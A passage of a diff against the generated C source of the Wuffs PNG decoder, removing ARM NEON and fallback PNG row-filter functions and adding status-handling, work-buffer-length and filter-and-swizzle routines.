+-wuffs_png__decoder__filter_4_distance_3_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint8x8_t v_fa = {0}; +- uint8x8_t v_fb = {0}; +- uint8x8_t v_fc = {0}; +- uint8x8_t v_fx = {0}; +- uint16x8_t v_fafb = {0}; +- uint16x8_t v_fcfc = {0}; +- uint16x8_t v_pa = {0}; +- uint16x8_t v_pb = {0}; +- uint16x8_t v_pc = {0}; +- uint16x8_t v_cmpab = {0}; +- uint16x8_t v_cmpac = {0}; +- uint8x8_t v_picka = {0}; +- uint8x8_t v_pickb = {0}; ++ iop_a_src += self->private_data.s_do_tell_me_more.scratch; ++ self->private_impl.f_metadata_flavor = 0u; ++ self->private_impl.f_metadata_fourcc = 0u; ++ self->private_impl.f_metadata_x = 0u; ++ self->private_impl.f_metadata_y = 0u; ++ self->private_impl.f_metadata_z = 0u; ++ self->private_impl.f_call_sequence &= 239u; ++ status = wuffs_base__make_status(NULL); ++ goto ok; + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + wuffs_base__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 7, 6); +- while (v_curr.ptr < i_end0_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fc = v_fb; +- v_fa = v_fx; +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fc = v_fb; +- v_fa = v_fx; +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- } +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + wuffs_base__iterate_total_advance((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)), 4, 3); +- while (v_curr.ptr < i_end1_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fc = v_fb; +- v_fa = v_fx; +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- } +- v_curr.len = 3; +- v_prev.len = 3; +- uint8_t* i_end2_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); +- while (v_curr.ptr < i_end2_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u24le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u24le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u24le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_curr.ptr += 3; +- v_prev.ptr += 3; +- } +- v_curr.len = 0; +- v_prev.len = 0; ++ ok: ++ self->private_impl.p_do_tell_me_more = 0; ++ goto exit; + } +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-// ‼ WUFFS MULTI-FILE SECTION -arm_neon + +-// ‼ WUFFS MULTI-FILE SECTION +arm_neon +-// -------- func png.decoder.filter_4_distance_4_arm_neon +- +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_4_distance_4_arm_neon( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint8x8_t v_fa = {0}; +- uint8x8_t v_fb = {0}; +- uint8x8_t v_fc = {0}; +- uint8x8_t v_fx = {0}; +- uint16x8_t v_fafb = {0}; +- uint16x8_t v_fcfc = {0}; +- uint16x8_t v_pa = {0}; +- uint16x8_t v_pb = {0}; +- uint16x8_t v_pc = {0}; +- uint16x8_t v_cmpab = {0}; +- uint16x8_t v_cmpac = {0}; +- uint8x8_t v_picka = {0}; +- uint8x8_t v_pickb = {0}; ++ goto suspend; ++ suspend: ++ self->private_impl.p_do_tell_me_more = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; ++ self->private_data.s_do_tell_me_more.v_zlib_status = v_zlib_status; + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- wuffs_base__slice_u8 i_slice_prev = a_prev; +- v_prev.ptr = i_slice_prev.ptr; +- i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8); +- while (v_curr.ptr < i_end0_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fc = v_fb; +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fc = v_fb; +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- } +- v_curr.len = 4; +- v_prev.len = 4; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end1_curr) { +- v_fb = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_prev.ptr))); +- v_fx = vreinterpret_u8_u32(vdup_n_u32(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); +- v_fafb = vaddl_u8(v_fa, v_fb); +- v_fcfc = vaddl_u8(v_fc, v_fc); +- v_pa = vabdl_u8(v_fb, v_fc); +- v_pb = vabdl_u8(v_fa, v_fc); +- v_pc = vabdq_u16(v_fafb, v_fcfc); +- v_cmpab = vcleq_u16(v_pa, v_pb); +- v_cmpac = vcleq_u16(v_pa, v_pc); +- v_picka = vmovn_u16(vandq_u16(v_cmpab, v_cmpac)); +- v_pickb = vmovn_u16(vcleq_u16(v_pb, v_pc)); +- v_fx = vadd_u8(v_fx, vbsl_u8(v_picka, v_fa, vbsl_u8(v_pickb, v_fb, v_fc))); +- wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, vget_lane_u32(vreinterpret_u32_u8(v_fx), 0u)); +- v_fc = v_fb; +- v_fa = v_fx; +- v_curr.ptr += 4; +- v_prev.ptr += 4; +- } +- v_curr.len = 0; +- v_prev.len = 0; ++ goto exit; ++ exit: ++ if (a_dst && a_dst->data.ptr) { ++ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); + } +- return wuffs_base__make_empty_struct(); +-} +-#endif // defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +-// ‼ WUFFS MULTI-FILE SECTION -arm_neon +- +-// -------- func png.decoder.filter_1 +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr) { +- return (*self->private_impl.choosy_filter_1)(self, a_curr); +-} +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1__choosy_default( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr) { +- uint64_t v_filter_distance = 0; +- uint8_t v_fa = 0; +- uint64_t v_i_start = 0; +- uint64_t v_i = 0; +- +- v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); +- v_i_start = 0u; +- while (v_i_start < v_filter_distance) { +- v_fa = 0u; +- v_i = v_i_start; +- while (v_i < ((uint64_t)(a_curr.len))) { +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + v_fa)); +- v_fa = a_curr.ptr[v_i]; +- v_i += v_filter_distance; +- } +- v_i_start += 1u; ++ if (a_src && a_src->data.ptr) { ++ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func png.decoder.filter_1_distance_3_fallback +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_3_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr) { +- wuffs_base__slice_u8 v_curr = {0}; +- uint8_t v_fa0 = 0; +- uint8_t v_fa1 = 0; +- uint8_t v_fa2 = 0; + +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 3; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6); +- while (v_curr.ptr < i_end0_curr) { +- v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- } +- v_curr.len = 3; +- uint8_t* i_end1_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3); +- while (v_curr.ptr < i_end1_curr) { +- v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- } +- v_curr.len = 0; +- } +- return wuffs_base__make_empty_struct(); ++ return status; + } + +-// -------- func png.decoder.filter_1_distance_4_fallback ++// -------- func png.decoder.workbuf_len + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_1_distance_4_fallback( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr) { +- wuffs_base__slice_u8 v_curr = {0}; +- uint8_t v_fa0 = 0; +- uint8_t v_fa1 = 0; +- uint8_t v_fa2 = 0; +- uint8_t v_fa3 = 0; +- +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 4; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4); +- while (v_curr.ptr < i_end0_curr) { +- v_fa0 = ((uint8_t)(v_fa0 + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)(v_fa1 + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)(v_fa2 + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_fa3 = ((uint8_t)(v_fa3 + v_curr.ptr[3u])); +- v_curr.ptr[3u] = v_fa3; +- v_curr.ptr += 4; +- } +- v_curr.len = 0; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 ++wuffs_png__decoder__workbuf_len( ++ const wuffs_png__decoder* self) { ++ if (!self) { ++ return wuffs_base__utility__empty_range_ii_u64(); + } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func png.decoder.filter_2 +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_2( +- wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- uint64_t v_n = 0; +- uint64_t v_i = 0; +- +- v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); +- v_i = 0u; +- while (v_i < v_n) { +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + a_prev.ptr[v_i])); +- v_i += 1u; ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__empty_range_ii_u64(); + } +- return wuffs_base__make_empty_struct(); ++ ++ return wuffs_base__utility__make_range_ii_u64(self->private_impl.f_overall_workbuf_length, self->private_impl.f_overall_workbuf_length); + } + +-// -------- func png.decoder.filter_3 ++// -------- func png.decoder.filter_and_swizzle + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3( ++static wuffs_base__status ++wuffs_png__decoder__filter_and_swizzle( + wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- return (*self->private_impl.choosy_filter_3)(self, a_curr, a_prev); ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf) { ++ return (*self->private_impl.choosy_filter_and_swizzle)(self, a_dst, a_workbuf); + } + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3__choosy_default( ++static wuffs_base__status ++wuffs_png__decoder__filter_and_swizzle__choosy_default( + wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- uint64_t v_filter_distance = 0; +- uint64_t v_n = 0; +- uint64_t v_i = 0; ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint64_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row0 = 0; ++ uint64_t v_dst_bytes_per_row1 = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ uint32_t v_y = 0; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint8_t v_filter = 0; ++ wuffs_base__slice_u8 v_curr_row = {0}; ++ wuffs_base__slice_u8 v_prev_row = {0}; + +- v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); +- if (((uint64_t)(a_prev.len)) == 0u) { +- v_i = v_filter_distance; +- while (v_i < ((uint64_t)(a_curr.len))) { +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + (a_curr.ptr[(v_i - v_filter_distance)] / 2u))); +- v_i += 1u; +- } ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ } ++ v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); ++ v_dst_bytes_per_row0 = (((uint64_t)(self->private_impl.f_frame_rect_x0)) * v_dst_bytes_per_pixel); ++ v_dst_bytes_per_row1 = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * v_dst_bytes_per_pixel); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ if (v_dst_bytes_per_row1 < ((uint64_t)(v_tab.width))) { ++ v_tab = wuffs_base__table_u8__subtable_ij(v_tab, ++ 0u, ++ 0u, ++ v_dst_bytes_per_row1, ++ ((uint64_t)(v_tab.height))); ++ } ++ if (v_dst_bytes_per_row0 < ((uint64_t)(v_tab.width))) { ++ v_tab = wuffs_base__table_u8__subtable_ij(v_tab, ++ v_dst_bytes_per_row0, ++ 0u, ++ ((uint64_t)(v_tab.width)), ++ ((uint64_t)(v_tab.height))); + } else { +- v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); +- v_i = 0u; +- while ((v_i < v_n) && (v_i < v_filter_distance)) { +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + (a_prev.ptr[v_i] / 2u))); +- v_i += 1u; ++ v_tab = wuffs_base__table_u8__subtable_ij(v_tab, ++ 0u, ++ 0u, ++ 0u, ++ 0u); ++ } ++ v_y = self->private_impl.f_frame_rect_y0; ++ while (v_y < self->private_impl.f_frame_rect_y1) { ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_y); ++ if (1u > ((uint64_t)(a_workbuf.len))) { ++ return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); + } +- v_i = v_filter_distance; +- while (v_i < v_n) { +- a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(((((uint32_t)(a_curr.ptr[(v_i - v_filter_distance)])) + ((uint32_t)(a_prev.ptr[v_i]))) / 2u))))); +- v_i += 1u; ++ v_filter = a_workbuf.ptr[0u]; ++ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, 1u); ++ if (self->private_impl.f_pass_bytes_per_row > ((uint64_t)(a_workbuf.len))) { ++ return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); ++ } ++ v_curr_row = wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_pass_bytes_per_row); ++ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, self->private_impl.f_pass_bytes_per_row); ++ if (v_filter == 0u) { ++ } else if (v_filter == 1u) { ++ wuffs_png__decoder__filter_1(self, v_curr_row); ++ } else if (v_filter == 2u) { ++ wuffs_png__decoder__filter_2(self, v_curr_row, v_prev_row); ++ } else if (v_filter == 3u) { ++ wuffs_png__decoder__filter_3(self, v_curr_row, v_prev_row); ++ } else if (v_filter == 4u) { ++ wuffs_png__decoder__filter_4(self, v_curr_row, v_prev_row); ++ } else { ++ return wuffs_base__make_status(wuffs_png__error__bad_filter); + } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, v_curr_row); ++ v_prev_row = v_curr_row; ++ v_y += 1u; + } +- return wuffs_base__make_empty_struct(); ++ return wuffs_base__make_status(NULL); + } + +-// -------- func png.decoder.filter_3_distance_3_fallback ++// -------- func png.decoder.filter_and_swizzle_tricky + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__empty_struct +-wuffs_png__decoder__filter_3_distance_3_fallback( ++static wuffs_base__status ++wuffs_png__decoder__filter_and_swizzle_tricky( + wuffs_png__decoder* self, +- wuffs_base__slice_u8 a_curr, +- wuffs_base__slice_u8 a_prev) { +- wuffs_base__slice_u8 v_curr = {0}; +- wuffs_base__slice_u8 v_prev = {0}; +- uint8_t v_fa0 = 0; +- uint8_t v_fa1 = 0; +- uint8_t v_fa2 = 0; ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__slice_u8 a_workbuf) { ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint64_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row1 = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ uint64_t v_src_bytes_per_pixel = 0; ++ uint32_t v_x = 0; ++ uint32_t v_y = 0; ++ uint64_t v_i = 0; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint8_t v_filter = 0; ++ wuffs_base__slice_u8 v_s = {0}; ++ wuffs_base__slice_u8 v_curr_row = {0}; ++ wuffs_base__slice_u8 v_prev_row = {0}; ++ uint8_t v_bits_unpacked[8] = {0}; ++ uint8_t v_bits_packed = 0; ++ uint8_t v_packs_remaining = 0; ++ uint8_t v_multiplier = 0; ++ uint8_t v_shift = 0; + +- if (((uint64_t)(a_prev.len)) == 0u) { +- { +- wuffs_base__slice_u8 i_slice_curr = a_curr; +- v_curr.ptr = i_slice_curr.ptr; +- v_curr.len = 3; +- uint8_t* i_end0_curr = v_curr.ptr + (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 6) * 6); +- while (v_curr.ptr < i_end0_curr) { +- v_fa0 = ((uint8_t)((v_fa0 / 2u) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)((v_fa1 / 2u) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)((v_fa2 / 2u) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; +- v_fa0 = ((uint8_t)((v_fa0 / 2u) + v_curr.ptr[0u])); +- v_curr.ptr[0u] = v_fa0; +- v_fa1 = ((uint8_t)((v_fa1 / 2u) + v_curr.ptr[1u])); +- v_curr.ptr[1u] = v_fa1; +- v_fa2 = ((uint8_t)((v_fa2 / 2u) + v_curr.ptr[2u])); +- v_curr.ptr[2u] = v_fa2; +- v_curr.ptr += 3; ++ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); ++ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); ++ if ((v_dst_bits_per_pixel & 7u) != 0u) { ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ } ++ v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); ++ v_dst_bytes_per_row1 = (((uint64_t)(self->private_impl.f_frame_rect_x1)) * v_dst_bytes_per_pixel); ++ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); ++ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); ++ v_src_bytes_per_pixel = 1u; ++ if (self->private_impl.f_depth >= 8u) { ++ v_src_bytes_per_pixel = (((uint64_t)(WUFFS_PNG__NUM_CHANNELS[self->private_impl.f_color_type])) * ((uint64_t)(((uint8_t)(self->private_impl.f_depth >> 3u))))); ++ } ++ if (self->private_impl.f_chunk_type_array[0u] == 73u) { ++ v_y = ((uint32_t)(WUFFS_PNG__INTERLACING[self->private_impl.f_interlace_pass][5u])); ++ } else { ++ v_y = self->private_impl.f_frame_rect_y0; ++ } ++ while (v_y < self->private_impl.f_frame_rect_y1) { ++ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_y); ++ if (v_dst_bytes_per_row1 < ((uint64_t)(v_dst.len))) { ++ v_dst = wuffs_base__slice_u8__subslice_j(v_dst, v_dst_bytes_per_row1); ++ } ++ if (1u > ((uint64_t)(a_workbuf.len))) { ++ return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); ++ } ++ v_filter = a_workbuf.ptr[0u]; ++ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, 1u); ++ if (self->private_impl.f_pass_bytes_per_row > ((uint64_t)(a_workbuf.len))) { ++ return wuffs_base__make_status(wuffs_png__error__internal_error_inconsistent_workbuf_length); ++ } ++ v_curr_row = wuffs_base__slice_u8__subslice_j(a_workbuf, self->private_impl.f_pass_bytes_per_row); ++ a_workbuf = wuffs_base__slice_u8__subslice_i(a_workbuf, self->private_impl.f_pass_bytes_per_row); ++ if (v_filter == 0u) { ++ } else if (v_filter == 1u) { ++ wuffs_png__decoder__filter_1(self, v_curr_row); ++ } else if (v_filter == 2u) { ++ wuffs_png__decoder__filter_2(self, v_curr_row, v_prev_row); ++ } else if (v_filter == 3u) { ++ wuffs_png__decoder__filter_3(self, v_curr_row, v_prev_row); ++ } else if (v_filter == 4u) { ++ 